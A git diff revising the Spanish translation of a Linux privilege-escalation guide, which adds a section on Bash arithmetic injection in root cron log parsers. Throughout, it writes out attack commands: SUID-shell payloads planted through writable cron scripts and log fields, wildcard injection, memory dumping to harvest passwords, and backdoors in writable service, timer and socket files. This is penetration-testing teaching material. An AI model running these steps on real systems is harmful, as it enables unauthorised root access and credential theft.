diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 9c86a794b..9b0742b76 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -12,13 +12,13 @@ Comencemos a obtener información sobre el sistema operativo en ejecución lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### PATH +### Path -Si **tienes permisos de escritura en cualquier carpeta dentro de la variable `PATH`** podrías ser capaz de hijack algunas libraries o binaries: +Si **tienes permisos de escritura en cualquier carpeta dentro de la variable `PATH`** podrías ser capaz de hijack some libraries or binaries: ```bash echo $PATH ``` -### Información del entorno +### Info del entorno ¿Información interesante, contraseñas o API keys en las variables de entorno? ```bash @@ -26,26 +26,26 @@ echo $PATH ``` ### Kernel exploits -Comprueba la versión del kernel y si existe algún exploit que pueda usarse para escalar privilegios. +Comprueba la versión del kernel y si existe algún exploit que pueda usarse para escalar privilegios ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Puedes encontrar una buena lista de kernels vulnerables y algunos ya **compiled exploits** aquí: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) y [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Puedes encontrar una buena lista de kernels vulnerables y algunos **compiled exploits** aquí: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) y [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Otros sitios donde puedes encontrar algunos **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Para extraer todas las versiones de kernel vulnerables de ese sitio puedes hacer: +Para extraer todas las versiones de kernel vulnerables de esa web puedes hacer: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Herramientas que podrían ayudar a buscar kernel exploits son: +Herramientas que pueden ayudar a buscar kernel exploits son: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ejecutar EN victim, solo comprueba exploits para kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ejecutar EN la víctima, sólo comprueba exploits para kernel 2.x) -Siempre **busca la versión del kernel en Google**, puede que la versión de tu kernel esté mencionada en algún exploit del kernel y así estarás seguro de que ese exploit es válido. +Siempre **busca la versión del kernel en Google**, puede que tu versión del kernel aparezca en algún kernel exploit y así tendrás la certeza de que ese exploit es válido. ### CVE-2016-5195 (DirtyCow) @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg signature verification failed -Consulta **smasher2 box of HTB** para un **ejemplo** de cómo se podría explotar esta vuln +Revisa **smasher2 box of HTB** para un **ejemplo** de cómo se podría explotar esta vuln ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,7 +123,8 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Si estás dentro de un docker container, puedes intentar escapar de él: +Si estás dentro de un docker container puedes intentar escapar de él: + {{#ref}} docker-security/ @@ -131,7 +132,7 @@ docker-security/ ## Unidades -Comprueba **qué está montado y desmontado**, dónde y por qué. Si algo está desmontado, podrías intentar montarlo y comprobar si contiene información privada. +Comprueba **qué está montado y desmontado**, dónde y por qué. Si algo está desmontado, podrías intentar montarlo y revisar si contiene información privada. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,56 +145,56 @@ Enumerar binarios útiles ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Además, comprueba si **any compiler is installed**. Esto es útil si necesitas usar algún kernel exploit, ya que se recomienda compilarlo en la máquina donde lo vas a usar (o en una similar) +Además, comprueba si **hay algún compilador instalado**. Esto es útil si necesitas usar algún kernel exploit, ya que se recomienda compilarlo en la máquina donde lo vas a usar (o en una similar). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Software vulnerable instalado -Comprueba la **versión de los paquetes y servicios instalados**. Puede que exista alguna versión antigua de Nagios (por ejemplo) que podría explotarse para escalar privilegios…\ -Se recomienda comprobar manualmente la versión del software instalado que resulte más sospechoso. +Comprueba la **versión de los paquetes y servicios instalados**. Quizá haya alguna versión antigua de Nagios (por ejemplo) que pueda explotarse para escalar privilegios…\ +Se recomienda comprobar manualmente la versión del software instalado que parezca más sospechoso. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Si tienes acceso SSH a la máquina, también podrías usar **openVAS** para comprobar si hay software instalado en la máquina que esté desactualizado o sea vulnerable. +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil; por lo tanto, se recomiendan aplicaciones como OpenVAS o similares que comprueben si alguna versión del software instalada es vulnerable a exploits conocidos_ +> [!NOTE] > _Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil, por eso se recomiendan aplicaciones como OpenVAS u otras similares que comprueben si alguna versión de software instalada es vulnerable a exploits conocidos_ -## Procesos +## Processes -Echa un vistazo a **qué procesos** se están ejecutando y comprueba si algún proceso tiene **más privilegios de los que debería** (¿quizá un tomcat ejecutándose como root?) +Revisa **qué procesos** se están ejecutando y comprueba si algún proceso tiene **más privilegios de los que debería** (¿quizás un tomcat ejecutándose como root?) ```bash ps aux ps -ef top -n 1 ``` -Revisa siempre si hay [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** los detecta comprobando el parámetro `--inspect` en la línea de comandos del proceso.\ -Además, **verifica tus privilegios sobre los binarios de los procesos**, quizá puedas sobrescribir alguno. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +También **comprueba tus privilegios sobre los binarios de los procesos**, quizá puedas sobrescribir alguno. -### Monitorización de procesos +### Process monitoring Puedes usar herramientas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorizar procesos. Esto puede ser muy útil para identificar procesos vulnerables que se ejecutan con frecuencia o cuando se cumplen un conjunto de requisitos. -### Memoria de procesos +### Process memory -Algunos servicios de un servidor guardan **credenciales en texto claro dentro de la memoria**.\ -Normalmente necesitarás **privilegios root** para leer la memoria de procesos que pertenecen a otros usuarios; por lo tanto, esto suele ser más útil cuando ya eres root y quieres descubrir más credenciales.\ +Algunos servicios de un servidor guardan **credentials in clear text inside the memory**.\ +Normalmente necesitarás **root privileges** para leer la memoria de procesos que pertenecen a otros usuarios, por lo que esto suele ser más útil cuando ya eres root y quieres descubrir más credentials.\ Sin embargo, recuerda que **como usuario normal puedes leer la memoria de los procesos que posees**. > [!WARNING] -> Ten en cuenta que hoy en día la mayoría de las máquinas **no permiten ptrace por defecto**, lo que significa que no puedes volcar otros procesos que pertenezcan a tu usuario sin privilegios. +> Ten en cuenta que hoy en día la mayoría de máquinas **don't allow ptrace by default**, lo que significa que no puedes volcar otros procesos que pertenezcan a tu usuario sin privilegios. > -> El archivo _**/proc/sys/kernel/yama/ptrace_scope**_ controla la accesibilidad de ptrace: +> El fichero _**/proc/sys/kernel/yama/ptrace_scope**_ controla la accesibilidad de ptrace: > -> - **kernel.yama.ptrace_scope = 0**: todos los procesos pueden ser depurados, siempre que tengan el mismo uid. Esta es la forma clásica en que funcionaba ptrace. -> - **kernel.yama.ptrace_scope = 1**: solo puede depurarse el proceso padre. -> - **kernel.yama.ptrace_scope = 2**: solo el administrador puede usar ptrace, ya que requiere la capacidad CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: ningún proceso puede ser trazado con ptrace. Una vez establecido, se necesita reiniciar para habilitar de nuevo ptracing. +> - **kernel.yama.ptrace_scope = 0**: todos los procesos pueden ser depurados, siempre que tengan el mismo uid. Esta era la forma clásica en que funcionaba ptrace. +> - **kernel.yama.ptrace_scope = 1**: solo un proceso padre puede ser depurado. +> - **kernel.yama.ptrace_scope = 2**: Solo un admin puede usar ptrace, ya que requiere la capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: Ningún proceso puede ser trazado con ptrace. Una vez establecido, es necesario reiniciar para habilitar ptracing de nuevo. #### GDB -Si tienes acceso a la memoria de un servicio FTP (por ejemplo) podrías obtener el Heap y buscar en su interior credenciales. +Si tienes acceso a la memoria de un servicio FTP (por ejemplo) podrías obtener el Heap y buscar en su interior credentials. ```bash gdb -p (gdb) info proc mappings @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para un ID de proceso dado, maps muestra cómo está mapeada la memoria dentro del espacio de direcciones virtual de ese proceso; también muestra los permisos de cada región mapeada. El pseudoarchivo mem expone la propia memoria del proceso. Desde el archivo maps sabemos qué regiones de memoria son legibles y sus desplazamientos. Usamos esta información para posicionarnos en el archivo mem y volcar todas las regiones legibles a un archivo. +Para un ID de proceso dado, **maps muestra cómo está mapeada la memoria dentro del espacio de direcciones virtuales de ese proceso**; también muestra las **permisiones de cada región mapeada**. El pseudoarchivo **mem** **expone la propia memoria del proceso**. A partir del archivo **maps** sabemos qué **regiones de memoria son legibles** y sus desplazamientos. Usamos esta información para **seek en el archivo mem y dump todas las regiones legibles**. ```bash procdump() ( @@ -230,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` proporciona acceso a la memoria **física** del sistema, no a la memoria virtual. El espacio de direcciones virtuales del kernel puede ser accedido usando /dev/kmem.\ +`/dev/mem` proporciona acceso a la **memoria física** del sistema, no a la memoria virtual. El espacio de direcciones virtuales del kernel puede accederse usando /dev/kmem.\ Típicamente, `/dev/mem` solo es legible por **root** y el grupo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump para linux -ProcDump es una reimaginación para Linux de la clásica herramienta ProcDump de la suite Sysinternals para Windows. Consíguelo en [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump es una reinterpretación en Linux de la clásica herramienta ProcDump de la suite Sysinternals para Windows. Consíguelo en [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -269,35 +270,35 @@ Press Ctrl-C to end monitoring without terminating the process. Para volcar la memoria de un proceso puedes usar: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puedes eliminar manualmente los requisitos de root y volcar el proceso que pertenece a tu usuario -- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (se requiere root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puedes eliminar manualmente los requisitos de root y volcar el proceso que te pertenece +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (se requiere root) ### Credenciales desde la memoria del proceso #### Ejemplo manual -Si detectas que el proceso authenticator está en ejecución: +Si detectas que el proceso authenticator se está ejecutando: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Puedes volcar el proceso (consulta las secciones anteriores para encontrar diferentes formas de volcar la memoria de un proceso) y buscar credentials dentro de la memoria: +Puedes dump the process (ver las secciones anteriores para encontrar diferentes formas de dump the memory of a process) y buscar credenciales dentro de la memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) robará **credenciales en texto claro de la memoria** y de algunos **archivos bien conocidos**. Requiere privilegios de root para funcionar correctamente. +La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **robará credenciales en texto claro desde la memoria** y desde algunos **archivos bien conocidos**. Requiere privilegios root para funcionar correctamente. -| Característica | Nombre del proceso | +| Funcionalidad | Nombre del proceso | | ------------------------------------------------- | -------------------- | -| Contraseña de GDM (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Conexiones FTP activas) | vsftpd | -| Apache2 (Sesiones HTTP Basic Auth activas) | apache2 | -| OpenSSH (Sesiones SSH activas - uso de sudo) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | #### Expresiones regulares de búsqueda/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -315,7 +316,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Tareas programadas/Cron jobs -Comprueba si alguna tarea programada es vulnerable. Quizá puedas aprovechar un script ejecutado por root (wildcard vuln? ¿puedes modificar archivos que root usa? ¿usar symlinks? ¿crear archivos específicos en el directorio que root usa?). +Comprueba si alguna tarea programada es vulnerable. Quizá puedas aprovechar un script ejecutado por root (¿wildcard vuln? ¿puedes modificar archivos que root usa? ¿usar symlinks? ¿crear archivos específicos en el directorio que root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -323,12 +324,12 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron path -Por ejemplo, dentro de _/etc/crontab_ puedes encontrar el PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Por ejemplo, dentro de _/etc/crontab_ puedes encontrar la variable PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Nota cómo el usuario "user" tiene privilegios de escritura sobre /home/user_) +(_Fíjate cómo el usuario "user" tiene privilegios de escritura sobre /home/user_) Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer el PATH. Por ejemplo: _\* \* \* \* root overwrite.sh_\ -Entonces, puedes obtener una shell root usando: +Entonces, puedes obtener un root shell usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -336,44 +337,68 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron usando un script con un wildcard (Wildcard Injection) -Si un script ejecutado por root tiene un “**\***” dentro de un comando, podrías explotar esto para provocar cosas inesperadas (como privesc). Ejemplo: +Si un script es ejecutado por root y tiene un “**\***” dentro de un comando, podrías explotarlo para provocar cosas inesperadas (como privesc). Ejemplo: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Si el wildcard va precedido de una ruta como** _**/some/path/\***_ **, no es vulnerable (incluso** _**./\***_ **no lo es).** +**Si el wildcard está precedido de una ruta como** _**/some/path/\***_ **, no es vulnerable (incluso** _**./\***_ **no lo es).** -Lee la siguiente página para más trucos de explotación de wildcards: +Lee la siguiente página para más trucos de explotación con wildcards: {{#ref}} wildcards-spare-tricks.md {{#endref}} + +### Bash arithmetic expansion injection in cron log parsers + +Bash realiza parameter expansion y command substitution antes de la arithmetic evaluation en ((...)), $((...)) y let. Si un cron/parser ejecutado como root lee campos de logs no confiables y los pasa a un contexto aritmético, un atacante puede inyectar un command substitution $(...) que se ejecuta como root cuando el cron corre. + +- Por qué funciona: En Bash, las expansiones ocurren en este orden: parameter/variable expansion, command substitution, arithmetic expansion, luego word splitting y pathname expansion. Así que un valor como `$(/bin/bash -c 'id > /tmp/pwn')0` se sustituye primero (ejecutando el comando), luego el `0` numérico restante se usa para la aritmética y el script continúa sin errores. + +- Patrón típicamente vulnerable: +```bash +#!/bin/bash +# Example: parse a log and "sum" a count field coming from the log +while IFS=',' read -r ts user count rest; do +# count is untrusted if the log is attacker-controlled +(( total += count )) # or: let "n=$count" +done < /var/www/app/log/application.log +``` + +- Exploitation: Haz que texto controlado por el atacante se escriba en el log parseado de modo que el campo que parece numérico contenga un command substitution y termine con un dígito. Asegúrate de que tu comando no escriba en stdout (o redirígelo) para que la aritmética siga siendo válida. +```bash +# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): +$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 +# When the root cron parser evaluates (( total += count )), your command runs as root. +``` + ### Cron script overwriting and symlink -Si **puedes modificar un cron script** ejecutado por root, puedes obtener una shell muy fácilmente: +If you **can modify a cron script** executed by root, you can get a shell very easily: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Si el script ejecutado por root utiliza un **directorio al que tienes acceso completo**, podría ser útil eliminar esa carpeta y **crear un symlink de la carpeta hacia otra** que sirva un script controlado por ti +Si el script ejecutado por root usa un directory donde tienes acceso completo, podría ser útil eliminar esa folder y crear un symlink a otra folder que sirva un script controlado por ti. ```bash ln -d -s ``` -### Cron jobs frecuentes +### Tareas cron frecuentes -Puedes monitorizar los procesos para buscar procesos que se están ejecutando cada 1, 2 o 5 minutos. Quizá puedas aprovecharlo y elevar privilegios. +Puedes monitorear los procesos para buscar aquellos que se ejecutan cada 1, 2 o 5 minutos. Quizá puedas aprovecharlo y escalar privilegios. -Por ejemplo, para **monitorizar cada 0.1s durante 1 minuto**, **ordenar por los comandos menos ejecutados** y eliminar los comandos que se han ejecutado más, puedes hacer: +Por ejemplo, para **monitorear cada 0.1s durante 1 minuto**, **ordenar por comandos menos ejecutados** y eliminar los comandos que se han ejecutado más, puedes hacer: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitoriza y lista cada proceso que se inicia). +**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitorizará y listará cada proceso que se inicie). ### Cron jobs invisibles -Es posible crear un cronjob **insertando un carriage return después de un comentario** (sin carácter de nueva línea), y el cronjob funcionará. Ejemplo (nota el carácter carriage return): +Es posible crear un cronjob **colocando un retorno de carro después de un comentario** (sin carácter de nueva línea), y el cron job funcionará. Ejemplo (nota el carácter de retorno de carro): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -381,32 +406,32 @@ Es posible crear un cronjob **insertando un carriage return después de un comen ### Archivos _.service_ escribibles -Comprueba si puedes escribir cualquier archivo `.service`, si puedes, **podrías modificarlo** para que **ejecute** tu **backdoor cuando** el servicio sea **iniciado**, **reiniciado** o **detenido** (quizá necesites esperar hasta que la máquina se reinicie).\ -Por ejemplo crea tu backdoor dentro del .service file con **`ExecStart=/tmp/script.sh`** +Comprueba si puedes escribir algún archivo `.service`, si puedes, **podrías modificarlo** para que **ejecute** tu **backdoor cuando** el servicio se **inicie**, **reinicie** o **se detenga** (quizá necesites esperar hasta que la máquina se reinicie).\ +Por ejemplo, crea tu backdoor dentro del archivo .service con **`ExecStart=/tmp/script.sh`** -### Writable service binaries +### Binarios de servicio escribibles -Ten en cuenta que si tienes **write permissions over binaries being executed by services**, puedes cambiarlos por backdoors para que cuando los services se vuelvan a ejecutar se ejecuten los backdoors. +Ten en cuenta que si tienes **permisos de escritura sobre binarios ejecutados por servicios**, puedes cambiarlos por backdoors para que, cuando los servicios se vuelvan a ejecutar, se ejecuten los backdoors. -### systemd PATH - Relative Paths +### systemd PATH - Rutas relativas Puedes ver el PATH usado por **systemd** con: ```bash systemctl show-environment ``` -Si descubres que puedes **write** en cualquiera de las carpetas de la ruta, puede que puedas **escalate privileges**. Necesitas buscar **relative paths being used on service configurations** en archivos como: +Si descubres que puedes **escribir** en cualquiera de las carpetas de la ruta, es posible que puedas **escalate privileges**. Debes buscar **rutas relativas usadas en archivos de configuración de servicios** como: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Entonces, crea un **ejecutable** con el **mismo nombre que el binario de la ruta relativa** dentro de la carpeta del PATH de systemd en la que puedas escribir, y cuando se le pida al servicio que ejecute la acción vulnerable (**Start**, **Stop**, **Reload**), tu **backdoor será ejecutado** (los usuarios sin privilegios normalmente no pueden iniciar/detener servicios, pero comprueba si puedes usar `sudo -l`). +Entonces, crea un **ejecutable** con el **mismo nombre que el binario de la ruta relativa** dentro de la carpeta del PATH de systemd que puedas escribir, y cuando se le pida al servicio ejecutar la acción vulnerable (**Start**, **Stop**, **Reload**), tu **backdoor será ejecutado** (los usuarios sin privilegios normalmente no pueden iniciar/detener servicios, pero comprueba si puedes usar `sudo -l`). **Aprende más sobre los servicios con `man systemd.service`.** ## **Temporizadores** -**Temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos `**.service**`. Los **Temporizadores** pueden usarse como alternativa a cron, ya que tienen soporte incorporado para eventos de tiempo de calendario y eventos de tiempo monotónico, y pueden ejecutarse de forma asíncrona. +Los **Temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos `**.service**`. Los **Temporizadores** pueden usarse como alternativa a cron, ya que tienen soporte incorporado para eventos basados en calendario y eventos de tiempo monotónico, y pueden ejecutarse de forma asíncrona. Puedes enumerar todos los temporizadores con: ```bash @@ -414,58 +439,58 @@ systemctl list-timers --all ``` ### Temporizadores escribibles -Si puedes modificar un temporizador, puedes hacer que ejecute alguna unidad existente de systemd.unit (como una `.service` o una `.target`). +Si puedes modificar un temporizador, puedes hacer que ejecute alguna unidad de systemd.unit existente (como una `.service` o una `.target`) ```bash Unit=backdoor.service ``` -En la documentación puedes leer qué es la unidad: +En la documentación puedes leer qué es la Unit: -> La unidad que se activará cuando este timer expire. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor por defecto apunta a un servicio que tiene el mismo nombre que la timer unit, excepto por el sufijo. (Ver arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la timer unit se llamen idénticamente, salvo por el sufijo. +> La unidad que se activa cuando expira este timer. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor por defecto apunta a un service que tiene el mismo nombre que la unidad timer, salvo por el sufijo. (Ver arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad de timer se llamen idénticamente, salvo por el sufijo. Por lo tanto, para abusar de este permiso necesitarías: -- Encontrar alguna systemd unit (como una `.service`) que esté **ejecutando un binario escribible** -- Encontrar alguna systemd unit que esté **ejecutando una ruta relativa** y tengas **privilegios de escritura** sobre el **systemd PATH** (para suplantar ese ejecutable) +- Encontrar alguna systemd unit (like a `.service`) que esté **ejecutando un binario escribible** +- Encontrar alguna systemd unit que esté **ejecutando una ruta relativa** y sobre la cual tengas **privilegios de escritura** en el **systemd PATH** (para suplantar ese ejecutable) **Aprende más sobre timers con `man systemd.timer`.** -### **Habilitar Timer** +### **Habilitar temporizador** Para habilitar un timer necesitas privilegios root y ejecutar: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +Nota the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) permiten la **comunicación entre procesos** en la misma o en diferentes máquinas dentro de modelos cliente-servidor. Utilizan archivos de descriptor Unix estándar para la comunicación entre equipos y se configuran mediante archivos `.socket`. +Los Sockets de Dominio Unix (UDS) permiten la **comunicación entre procesos** en la misma o en distintas máquinas dentro de modelos cliente-servidor. Utilizan archivos de descriptor Unix estándar para la comunicación inter-procesos y se configuran mediante archivos `.socket`. -Sockets can be configured using `.socket` files. +Los sockets se pueden configurar usando archivos `.socket`. -**Learn more about sockets with `man systemd.socket`.** Dentro de este archivo se pueden configurar varios parámetros interesantes: +**Aprende más sobre sockets con `man systemd.socket`.** Dentro de este archivo, se pueden configurar varios parámetros interesantes: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes pero, en resumen, se usan para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, la IPv4/6 y/o el número de puerto a escuchar, etc.) -- `Accept`: Acepta un argumento booleano. Si es **true**, se **lanza una instancia del service por cada conexión entrante** y solo se le pasa el socket de la conexión. Si es **false**, todos los sockets de escucha se **pasan a la unidad de servicio iniciada**, y solo se genera una unidad de servicio para todas las conexiones. Este valor se ignora para datagram sockets y FIFOs, donde una única unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos daemons solo de una forma adecuada para `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Aceptan una o más líneas de comando, que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **creados** y enlazados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido por los argumentos para el proceso. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son distintas pero, en resumen, se usan para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, la dirección IPv4/6 y/o el número de puerto a escuchar, etc.) +- `Accept`: Acepta un argumento booleano. Si es **true**, se **crea una instancia del service por cada conexión entrante** y solo se le pasa el socket de conexión. Si es **false**, todos los sockets de escucha se **pasan a la unidad de service iniciada**, y solo se lanza una unidad de service para todas las conexiones. Este valor se ignora para sockets datagrama y FIFOs, donde una única unidad de service gestiona incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos daemons de modo que sean compatibles con `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Acepta una o más líneas de comando, que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **creados** y vinculados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido por los argumentos para el proceso. - `ExecStopPre`, `ExecStopPost`: Comandos adicionales que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **cerrados** y eliminados, respectivamente. -- `Service`: Especifica el nombre de la unidad **service** que se **activará** ante **tráfico entrante**. Esta opción solo está permitida para sockets con `Accept=no`. Por defecto apunta al service que tiene el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos no debería ser necesario usar esta opción. +- `Service`: Especifica el nombre de la unidad de **service** **a activar** con **tráfico entrante**. Esta opción solo está permitida para sockets con Accept=no. Por defecto es el service que tiene el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos, no debería ser necesario usar esta opción. ### Writable .socket files -Si encuentras un archivo `.socket` **writable** puedes **añadir** al inicio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que el socket sea creado. Por lo tanto, **probablemente tendrás que esperar hasta que la máquina se reinicie.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +Si encuentras un archivo `.socket` **escribible** puedes **añadir** al inicio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que el socket sea creado. Por lo tanto, **probablemente tendrás que esperar hasta que la máquina sea reiniciada.**\ +_Ten en cuenta que el sistema debe estar utilizando esa configuración de archivo socket o el backdoor no se ejecutará_ ### Writable sockets -Si **identificas algún writable socket** (_ahora hablamos de Unix Sockets y no de los archivos de configuración `.socket`_), entonces **puedes comunicarte** con ese socket y quizá explotar una vulnerabilidad. +Si **identificas cualquier socket escribible** (_ahora hablamos de Unix Sockets y no de los archivos de configuración `.socket`_), entonces **puedes comunicarte** con ese socket y quizá explotar una vulnerabilidad. -### Enumerate Unix Sockets +### Enumerar Unix Sockets ```bash netstat -a -p --unix ``` -### Conexión Raw +### Conexión raw ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -483,48 +508,48 @@ socket-command-injection.md 